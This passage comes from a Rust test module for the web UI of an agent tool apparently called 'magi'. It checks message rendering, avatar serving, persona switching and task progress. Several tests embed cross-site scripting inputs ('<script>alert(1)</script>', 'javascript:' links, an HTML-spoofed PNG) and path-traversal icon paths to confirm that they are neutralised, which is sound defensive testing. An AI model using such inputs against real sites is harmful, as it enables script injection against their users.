12339            !view.talk.turns[2].messages[0]
12340                .reply
12341                .as_ref()
12342                .unwrap()
12343                .excerpt
12344                .contains("automatic report")
12345        );
12346        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12347    }
12348
12349    #[tokio::test]
12350    async fn consultation_display_hides_directives_in_queue_and_history() {
12351        for node in [
12352            "implement",
12353            crate::land::APPROVAL_NODE,
12354            crate::github_text::ASK_NODE,
12355        ] {
12356            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12357            let mut question = Question::new(
12358                "run-123".into(),
12359                node.into(),
12360                "seat-1".into(),
12361                "Which backend?".into(),
12362                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12363                vec!["SQLite".into(), "Redis".into()],
12364            );
12365            ui.questions.put(&mut question).unwrap();
12366            let body = crate::prompt::chat_consult(&question);
12367            let mut conversation = ui.talks.get(&id).unwrap();
12368            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12369            assert!(
12370                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12371            );
12372            conversation = ui.talks.get(&id).unwrap();
12373            assert_eq!(conversation.pending_messages[0].body, body);
12374            assert!(body.contains("magi answer"));
12375            let mut legacy_pending = conversation.clone();
12376            legacy_pending.pending_messages[0].display = None;
12377            let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12378            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12379            assert!(legacy_md.contains("Question consultation"));
12380            assert!(!legacy_md.contains("magi answer"));
12381            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12382            assert!(
12383                view.turn_messages_md[0][0].is_none(),
12384                "operator copy stays literal"
12385            );
12386            let queued_md = view.pending_messages_md[0].clone().unwrap();
12387            let rendered = serde_json::to_string(&queued_md).unwrap();
12388            for visible in [
12389                "Which backend?",
12390                "Context",
12391                "storage",
12392                "SQLite",
12393                "Redis",
12394                "<script>literal</script>",
12395            ] {
12396                assert!(rendered.contains(visible), "missing {visible}");
12397            }
12398            for directive in [
12399                "What to do",
12400                "magi answer",
12401                "Never answer it yourself",
12402                "Do not edit the repository",
12403            ] {
12404                assert!(!rendered.contains(directive), "exposed {directive}");
12405            }
12406            assert_eq!(
12407                view.talk.pending_messages[0].display,
12408                Some(crate::prompt::chat_consult_display(&question))
12409            );
12410            talk::drain(&mut conversation, &ui.talks).unwrap();
12411            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12412            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12413            assert_eq!(conversation.turns[1].messages[0].body, body);
12414
12415            // Historical consultations lack a snapshot: show a safe placeholder
12416            // rather than parsing instructions or reconstructing mutable facts.
12417            conversation.turns[1].messages[0].display = None;
12418            let view = TalkView::with_config(conversation, false, None, &ui.home);
12419            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12420            assert!(legacy.contains("Question consultation"));
12421            assert!(!legacy.contains("magi answer"));
12422            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12423        }
12424    }
12425
12426    #[test]
12427    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12428        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12429        let (body, mut display) =
12430            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12431        display.facts = facts.into();
12432        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12433        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12434        let json = serde_json::to_string(&nodes).unwrap();
12435        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12436            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12437        }
12438        assert!(json.contains("<script>alert(1)</script>"));
12439        assert!(!json.contains("javascript:"));
12440        assert!(!json.contains("Tell the operator"));
12441        assert!(!json.contains("untrusted"));
12442        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12443        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12444        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12445        assert_eq!(
12446            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12447            md::to_nodes("# Status", &md::ImageBase::None),
12448        );
12449    }
12450
12451    #[tokio::test]
12452    async fn notification_display_recovers_exact_legacy_completion_references() {
12453        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12454        let mut conversation = ui.talks.get(&id).unwrap();
12455        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12456            id: "task-123",
12457            title: "Change",
12458            status: "done",
12459            reason: None,
12460            run: Some("run-123"),
12461            pr: None,
12462            summary: Some("Merge state unknown"),
12463        });
12464        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12465        conversation.turns[0].sender = None;
12466        conversation.turns[0].messages.clear();
12467        conversation.turns[0].breaks = None;
12468        conversation.pending = body.clone();
12469        conversation
12470            .completion_notices
12471            .push(crate::chat_notify::CompletionReference {
12472                task: "task-123".into(),
12473                run: Some("run-123".into()),
12474                notice: body.clone(),
12475            });
12476        ui.talks.put(&mut conversation).unwrap();
12477        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12478        assert_eq!(
12479            view.talk.turns[0].messages[0].display,
12480            Some(display.clone())
12481        );
12482        assert_eq!(view.talk.pending_messages[0].display, Some(display));
12483        assert_eq!(
12484            view.talk.turns[0].messages[0].sender,
12485            Some(talk::Sender::Magi)
12486        );
12487        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12488        conversation.completion_notices[0]
12489            .notice
12490            .push_str("different");
12491        let view = TalkView::with_config(conversation, false, None, &ui.home);
12492        assert!(view.talk.turns[0].messages.is_empty());
12493        assert!(view.talk.pending_messages.is_empty());
12494    }
12495
12496    #[tokio::test]
12497    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12498        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12499        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12500        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12501        let _ = magi_icon_put(
12502            State(ui.clone()),
12503            Json(MagiIconUpload { icon: icon.into() }),
12504        )
12505        .await
12506        .unwrap();
12507        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12508        assert_ne!(original, changed);
12509        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12510        let response = magi_avatar(
12511            State(ui.clone()),
12512            Query(AvatarQuery {
12513                persona: None,
12514                builtin: None,
12515            }),
12516        )
12517        .await;
12518        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12519        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12520        assert_eq!(
12521            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12522            "nosniff"
12523        );
12524        for bad in [
12525            "data:image/png;base64,PGh0bWw+".to_owned(),
12526            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12527            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12528        ] {
12529            assert!(save_magi_icon(home.path(), &bad).is_err());
12530            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12531        }
12532        // Re-opened server state reads the same independent home file.
12533        let restarted = Arc::new(Ui::new(
12534            Queue::at(home.path().join("queue")),
12535            Questions::at(home.path().join("questions")),
12536            Talks::at(home.path().join("talks")),
12537            home.path().join("runs"),
12538            home.path().to_path_buf(),
12539            repo,
12540        ));
12541        assert_eq!(
12542            magi_icon_get(State(restarted.clone())).await.0["avatar"],
12543            changed
12544        );
12545        let view = TalkView::with_config(
12546            restarted.talks.get(&id).unwrap(),
12547            false,
12548            None,
12549            &restarted.home,
12550        );
12551        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12552        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12553        let response = magi_avatar(
12554            State(ui.clone()),
12555            Query(AvatarQuery {
12556                persona: None,
12557                builtin: None,
12558            }),
12559        )
12560        .await;
12561        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12562            .await
12563            .unwrap();
12564        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12565        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12566        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12567        let _ = magi_icon_delete(State(ui)).await.unwrap();
12568    }
12569
12570    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
12571    async fn avatar(
12572        ui: &Arc<Ui>,
12573        id: &str,
12574        persona: Option<&str>,
12575        builtin: bool,
12576    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12577        let res = talk_avatar(
12578            State(Arc::clone(ui)),
12579            Path(id.to_owned()),
12580            Query(AvatarQuery {
12581                persona: persona.map(str::to_owned),
12582                builtin: builtin.then(|| "1".to_owned()),
12583            }),
12584        )
12585        .await
12586        .expect("an avatar is never an error response");
12587        let h = res.headers();
12588        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12589        let nosniff = h
12590            .get(header::X_CONTENT_TYPE_OPTIONS)
12591            .is_some_and(|v| v == "nosniff");
12592        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12593        let status = res.status();
12594        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12595            .await
12596            .expect("body")
12597            .to_vec();
12598        (status, ct, nosniff, csp, body)
12599    }
12600
12601    fn tiny_png() -> Vec<u8> {
12602        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12603        b.extend_from_slice(&[0u8; 32]);
12604        b
12605    }
12606
12607    #[tokio::test]
12608    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12609        let res = operator_avatar().await;
12610        assert_eq!(res.status(), StatusCode::OK);
12611        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12612        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12613        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12614        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12615        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12616            .await
12617            .unwrap();
12618        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12619        assert_ne!(
12620            persona_icon::operator_svg(),
12621            persona_icon::builtin_svg("default")
12622        );
12623    }
12624
12625    #[tokio::test]
12626    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12627        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12628        for p in [
12629            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12630        ] {
12631            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12632            assert_eq!(status, StatusCode::OK, "{p}");
12633            assert_eq!(ct, "image/svg+xml", "{p}");
12634            assert!(nosniff && csp, "{p}");
12635            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12636        }
12637        // No `persona` means the conversation's own; unknown ones fall back.
12638        let own = avatar(&ui, &id, None, false).await;
12639        let default = avatar(&ui, &id, Some("default"), false).await;
12640        assert_eq!(own.4, default.4);
12641        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12642        assert_eq!(unknown.1, "image/svg+xml");
12643    }
12644
12645    #[tokio::test]
12646    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12647        let dir = TempDir::new().expect("icons");
12648        let good = dir.path().join("good.png");
12649        std::fs::write(&good, tiny_png()).unwrap();
12650        let spoof = dir.path().join("spoof.png");
12651        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12652        let big = dir.path().join("big.png");
12653        let mut bytes = tiny_png();
12654        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12655        std::fs::write(&big, bytes).unwrap();
12656        let missing = dir.path().join("missing.png");
12657        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12658        let extra = format!(
12659            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12660             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12661             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12662             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12663             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12664             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12665            uri(&good),
12666            uri(&spoof),
12667            uri(&big),
12668            uri(&missing),
12669        );
12670        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12671
12672        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12673        assert_eq!(
12674            (status, ct.as_str(), nosniff),
12675            (StatusCode::OK, "image/png", true)
12676        );
12677        assert_eq!(body, tiny_png());
12678        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12679        assert_eq!(ct, "image/png", "data URI");
12680
12681        for p in ["misato", "asuka", "shinji", "magi"] {
12682            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12683            assert_eq!(
12684                (status, ct.as_str(), csp),
12685                (StatusCode::OK, "image/svg+xml", true),
12686                "{p}"
12687            );
12688            assert!(body.starts_with(b"<svg"), "{p}");
12689        }
12690        // The page's own retry skips the icon.
12691        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12692        assert_eq!(ct, "image/svg+xml");
12693    }
12694
12695    #[tokio::test]
12696    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12697        let oversized = format!(
12698            "data:image/png;base64,{}",
12699            "A".repeat(persona_icon::ICON_MAX_BYTES)
12700        );
12701        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12702            let extra = format!(
12703                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12704            );
12705            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12706            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12707                .await
12708                .expect("detail with invalid icon");
12709            assert!(detail.personas.iter().any(|p| p.id == "custom"));
12710            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12711            assert_eq!(status, StatusCode::OK);
12712            assert_eq!(ct, "image/svg+xml");
12713            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12714            let Json(view) = talk_persona(
12715                State(Arc::clone(&ui)),
12716                Path(id.clone()),
12717                Json(TalkPersona {
12718                    persona: "custom".into(),
12719                }),
12720            )
12721            .await
12722            .expect("persona switch with invalid icon");
12723            assert_eq!(view.talk.persona, "custom");
12724            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12725        }
12726    }
12727
12728    #[tokio::test]
12729    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12730        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12731        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12732        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12733        assert_eq!(
12734            (status, ct.as_str(), nosniff, csp),
12735            (StatusCode::OK, "image/svg+xml", true, true)
12736        );
12737    }
12738
12739    #[tokio::test]
12740    async fn the_talk_view_carries_server_built_avatar_urls_only() {
12741        let (_t, _h, ui, id, _repo) =
12742            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12743        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12744            .await
12745            .expect("detail");
12746        let json = serde_json::to_string(&detail).unwrap();
12747        assert!(
12748            !json.contains("secret"),
12749            "the icon setting must not leak: {json}"
12750        );
12751        assert!(
12752            detail
12753                .view
12754                .persona_avatar
12755                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12756        );
12757        assert_eq!(
12758            detail.view.operator_avatar,
12759            format!(
12760                "/avatars/operator.svg?v={}",
12761                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12762            )
12763        );
12764        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12765        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12766        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12767        assert!(rei.avatar.contains("persona=rei&v="));
12768        assert_ne!(
12769            rei.avatar.split("&v=").nth(1),
12770            plain.avatar.split("&v=").nth(1)
12771        );
12772    }
12773
12774    #[tokio::test]
12775    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12776        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12777        let cfg = config_for(&repo).await.unwrap();
12778        for arrived in [false, true] {
12779            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12780            let observed = ui.queued_generation(&id);
12781            let talk = ui.talks.get(&id).unwrap();
12782            if arrived {
12783                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12784            }
12785            let mut settling = std::pin::pin!(settle_settings_turn(
12786                talk,
12787                ui.talks.clone(),
12788                cfg.clone(),
12789                id.clone(),
12790                turn,
12791                observed
12792            ));
12793            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12794            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12795            assert_eq!(first.is_pending(), arrived);
12796            if arrived {
12797                assert!(!settling.await);
12798            }
12799            assert!(!ui.is_thinking(&id));
12800        }
12801    }
12802
12803    #[tokio::test]
12804    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12805        let tmp = TempDir::new().expect("tempdir");
12806        let repo = tmp.path().join("repo");
12807        std::fs::create_dir_all(&repo).expect("repo dir");
12808        std::fs::write(
12809            repo.join("magi.toml"),
12810            format!(
12811                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12812            ),
12813        )
12814        .expect("write magi.toml");
12815        let home = TempDir::new().expect("temp home");
12816        let talks = Talks::at(home.path().join("talks"));
12817        let ui = Arc::new(
12818            Ui::new(
12819                Queue::at(home.path().join("queue")),
12820                Questions::at(home.path().join("questions")),
12821                talks.clone(),
12822                home.path().join("runs"),
12823                home.path().to_path_buf(),
12824                repo.clone(),
12825            )
12826            .with_worktrees_root(home.path().join("wt")),
12827        );
12828        let cfg = config_for(&repo).await.expect("discover config");
12829        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12830        let id = talk.id.clone();
12831        let call = |persona: &str| {
12832            talk_persona(
12833                State(Arc::clone(&ui)),
12834                Path(id.clone()),
12835                Json(TalkPersona {
12836                    persona: persona.to_owned(),
12837                }),
12838            )
12839        };
12840
12841        let unknown = call("nobody").await.expect_err("unknown persona");
12842        assert_eq!(
12843            unknown.status,
12844            StatusCode::BAD_REQUEST,
12845            "{}",
12846            unknown.message
12847        );
12848
12849        {
12850            // Nothing refused so far took a claim, so the guard is free to take
12851            // and holding it is what makes the talk busy.
12852            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12853            let busy = call("rei").await.expect_err("busy talk");
12854            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12855            assert!(
12856                busy.message.contains("a talk turn is running"),
12857                "{}",
12858                busy.message
12859            );
12860            drop(guard);
12861        }
12862        assert_eq!(talks.get(&id).expect("reload").persona, "");
12863
12864        let Json(view) = call("gendo").await.expect("switch to a configured persona");
12865        assert_eq!(view.talk.persona, "gendo");
12866        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12867        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12868        // No intervening I/O or sleep may be needed before another change.
12869        for chosen in ["default", "gendo", "rei", "gendo"] {
12870            let Json(view) = call(chosen).await.expect("immediate consecutive change");
12871            assert!(!view.thinking);
12872            assert!(!ui.is_thinking(&id));
12873        }
12874
12875        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12876            .await
12877            .expect("detail");
12878        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12879        assert_eq!(ids.first(), Some(&"default"));
12880        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12881
12882        let Json(view) = call("default").await.expect("back to default");
12883        assert_eq!(view.talk.persona, "");
12884
12885        let mut closed = talks.get(&id).expect("reload");
12886        talk::close(&mut closed, &talks).expect("close");
12887        let refused = call("rei").await.expect_err("closed talk");
12888        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12889        assert!(
12890            refused.message.contains("takes no more turns"),
12891            "{}",
12892            refused.message
12893        );
12894    }
12895
12896    #[tokio::test]
12897    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12898        let f = Fixture::start().await;
12899        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12900        let queue = f.queue();
12901        let mut mine = Task::new(
12902            "rename the loader".to_owned(),
12903            "rename the loader".to_owned(),
12904            PathBuf::from("/repo/magi"),
12905            Source::Agent {
12906                run: talk_id.clone(),
12907                node: "chat".to_owned(),
12908            },
12909        );
12910        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
12911        assert_eq!(empty["task_progress"]["state"], "none");
12912        assert_eq!(empty["task_progress"]["total"], 0);
12913        queue.put(&mut mine).expect("file the task");
12914        let mut theirs = Task::new(
12915            "unrelated".to_owned(),
12916            "unrelated".to_owned(),
12917            PathBuf::from("/repo/magi"),
12918            Source::Human,
12919        );
12920        // A later task linked through origin_chat alone is outside this list.
12921        theirs.origin_chat = Some(talk_id.clone());
12922        queue.put(&mut theirs).expect("file the task");
12923
12924        let res = f.get(&format!("/api/talks/{talk_id}")).await;
12925        assert_eq!(res.status, 200, "{}", res.body);
12926        let body = res.json();
12927        assert_eq!(
12928            body["status"], "open",
12929            "filing a task does not close a talk"
12930        );
12931        let tasks = body["tasks"].as_array().expect("tasks array");
12932        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12933        assert_eq!(tasks[0]["id"], mine.id);
12934        for status in [
12935            TaskStatus::Queued,
12936            TaskStatus::Running,
12937            TaskStatus::Held,
12938            TaskStatus::Failed,
12939            TaskStatus::Blocked,
12940            TaskStatus::Parked,
12941            TaskStatus::Done,
12942            TaskStatus::Queued,
12943        ] {
12944            mine.status = status;
12945            queue.put(&mut mine).expect("update status");
12946            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
12947            let progress = &detail["task_progress"];
12948            assert_eq!(progress["total"], 1);
12949            assert_eq!(progress["counts"][status.as_str()], 1);
12950            assert_eq!(detail["tasks"][0]["status"], status.as_str());
12951            assert_eq!(detail["status"], "open", "completion never closes the chat");
12952            if status == TaskStatus::Done {
12953                assert_eq!(progress["state"], "complete");
12954                assert_eq!(progress["done"], 1);
12955                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
12956            } else {
12957                assert_eq!(progress["state"], "incomplete");
12958                assert_eq!(progress["done"], 0);
12959                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
12960            }
12961        }
12962    }
12963
12964    #[test]
12965    fn talk_task_progress_counts_mixed_statuses() {
12966        let mut tasks: Vec<_> = [
12967            TaskStatus::Queued,
12968            TaskStatus::Running,
12969            TaskStatus::Held,
12970            TaskStatus::Failed,
12971            TaskStatus::Blocked,
12972            TaskStatus::Parked,
12973            TaskStatus::Done,
12974        ]
12975        .into_iter()
12976        .map(|status| {
12977            let mut task = Task::new(
12978                "task".into(),
12979                "task".into(),
12980                PathBuf::from("/repo"),
12981                Source::Human,
12982            );
12983            task.status = status;
12984            task
12985        })
12986        .collect();
12987        let progress = talk_task_progress(&tasks);
12988        assert_eq!(progress.state, "incomplete");
12989        assert_eq!(progress.total, 7);
12990        assert_eq!(progress.done, 1);
12991        assert_eq!(progress.unfinished_ids.len(), 6);
12992        assert!(progress.counts.values().all(|count| *count == 1));
12993        assert_eq!(
12994            progress.unfinished_ids,
12995            tasks[..6]
12996                .iter()
12997                .map(|task| task.id.clone())
12998                .collect::<Vec<_>>()
12999        );
13000
13001        for task in &mut tasks {
13002            task.status = TaskStatus::Done;
13003        }
13004        let complete = talk_task_progress(&tasks);
13005        assert_eq!(complete.state, "complete");
13006        assert_eq!(complete.done, 7);
13007        assert!(complete.unfinished_ids.is_empty());
13008        tasks[0].status = TaskStatus::Queued;
13009        let requeued = talk_task_progress(&tasks);
13010        assert_eq!(requeued.state, "incomplete");
13011        assert_eq!(requeued.done, 6);
13012        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13013
13014        let empty = talk_task_progress(&[]);
13015        assert_eq!(empty.state, "none");
13016        assert_eq!(empty.total, 0);
13017        assert_eq!(empty.done, 0);
13018        assert!(empty.unfinished_ids.is_empty());
13019        assert!(empty.counts.values().all(|count| *count == 0));
13020    }
13021
13022    #[tokio::test]
13023    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13024        let (_tmp, _repo, f) = talk_fixture().await;
13025        let id = f.post("/api/talks", None).await.json()["id"]
13026            .as_str()
13027            .expect("id")
13028            .to_owned();
13029
13030        let res = f
13031            .post(
13032                &format!("/api/talks/{id}/say"),
13033                Some(r#"{"text":"what does the queue module do?"}"#),
13034            )
13035            .await;
13036        assert_eq!(res.status, 202, "{}", res.body);
13037        let queued = res.json();
13038        let turns = queued["turns"].as_array().expect("turns array");
13039        assert_eq!(
13040            turns.len(),
13041            1,
13042            "the answer reflects only what is on disk the instant it is sent, \
13043             before the agent's turn - which can run for the whole of \
13044             `[graph] timeout_talk` - has a chance to land: {queued}"
13045        );
13046        assert_eq!(turns[0]["who"], "operator");
13047        assert_eq!(turns[0]["body"], "what does the queue module do?");
13048        assert_eq!(
13049            queued["thinking"], true,
13050            "the accepted response exposes the background turn claim: {queued}"
13051        );
13052
13053        let mut turns_after = 1;
13054        for _ in 0..SETTLE_STEPS {
13055            let detail = f.get(&format!("/api/talks/{id}")).await.json();
13056            turns_after = detail["turns"].as_array().expect("turns array").len();
13057            if turns_after == 2 {
13058                break;
13059            }
13060            tokio::time::sleep(Duration::from_millis(10)).await;
13061        }
13062        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13063    }
13064
13065    /// A phone that reloads mid-request drops `talk_say`'s whole handler
13066    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
13067    /// guards against: `talk::record` used to return, and only *then* did the
13068    /// handler make a second, separate disk round trip before spawning the
13069    /// agent's reply task. A future dropped in that gap left a message
13070    /// recorded on disk with no reply task ever started and no way back short
13071    /// of a fresh message - and the gap was not even the whole story: *any*
13072    /// `.await` in this handler, including the very first one, is a point
13073    /// where a drop can land after the awaited work already finished but
13074    /// before this handler's own code resumes to act on it. `record` now
13075    /// runs inside the task `tokio::spawn` hands to the runtime before this
13076    /// handler ever awaits anything of its own again, so there is nothing
13077    /// left in *this* handler's future for a disconnect to interrupt between
13078    /// the message landing on disk and the reply task starting.
13079    ///
13080    /// A real socket disconnect cannot be relied on to land in the old gap
13081    /// from a test - over loopback, `talk_say` typically finishes before the
13082    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
13083    /// same failure mode directly: it drops the task's future at whatever
13084    /// point it has reached, exactly what axum does to the handler future,
13085    /// without needing to win a real network race. Sweeping the delay before
13086    /// aborting samples a range of points the task's execution can be at,
13087    /// including where the old code sat waiting on its second disk round
13088    /// trip - confirmed by reverting this fix locally and watching this same
13089    /// sweep catch a talk stuck with the operator's turn recorded and no
13090    /// reply ever following.
13091    #[tokio::test]
13092    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13093        let tmp = TempDir::new().expect("tempdir");
13094        let repo = tmp.path().join("repo");
13095        std::fs::create_dir_all(&repo).expect("repo dir");
13096        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13097        let home = TempDir::new().expect("temp home");
13098        let talks = Talks::at(home.path().join("talks"));
13099        let ui = Arc::new(
13100            Ui::new(
13101                Queue::at(home.path().join("queue")),
13102                Questions::at(home.path().join("questions")),
13103                talks.clone(),
13104                home.path().join("runs"),
13105                home.path().to_path_buf(),
13106                repo.clone(),
13107            )
13108            .with_worktrees_root(home.path().join("wt")),
13109        );
13110        let cfg = config_for(&repo).await.expect("discover config");
13111
13112        for delay in 0..40u32 {
13113            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13114            let id = talk.id.clone();
13115
13116            let handler = tokio::spawn(talk_say(
13117                State(Arc::clone(&ui)),
13118                Path(id.clone()),
13119                Ok(Json(NewTalkTurn {
13120                    reply_to: None,
13121                    text: "what does the queue module do?".to_owned(),
13122                    attachments: Vec::new(),
13123                })),
13124            ));
13125            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13126            handler.abort();
13127            // Wait out the abort so the next iteration's talk does not race
13128            // this one's still-unwinding turn guard.
13129            let _ = handler.await;
13130
13131            let mut turns = 0;
13132            for _ in 0..SETTLE_STEPS {
13133                if let Ok(fresh) = talks.get(&id) {
13134                    turns = fresh.turns.len();
13135                    if turns != 1 {
13136                        break;
13137                    }
13138                }
13139                tokio::time::sleep(Duration::from_millis(10)).await;
13140            }
13141            assert_ne!(
13142                turns, 1,
13143                "delay {delay}: talk {id} recorded the operator's turn but \
13144                 the agent never answered - the reply task was never \
13145                 started after the handler future was dropped"
13146            );
13147        }
13148    }
13149
13150    /// The same drop, landing on `talk_say`'s other durable write.
13151    ///
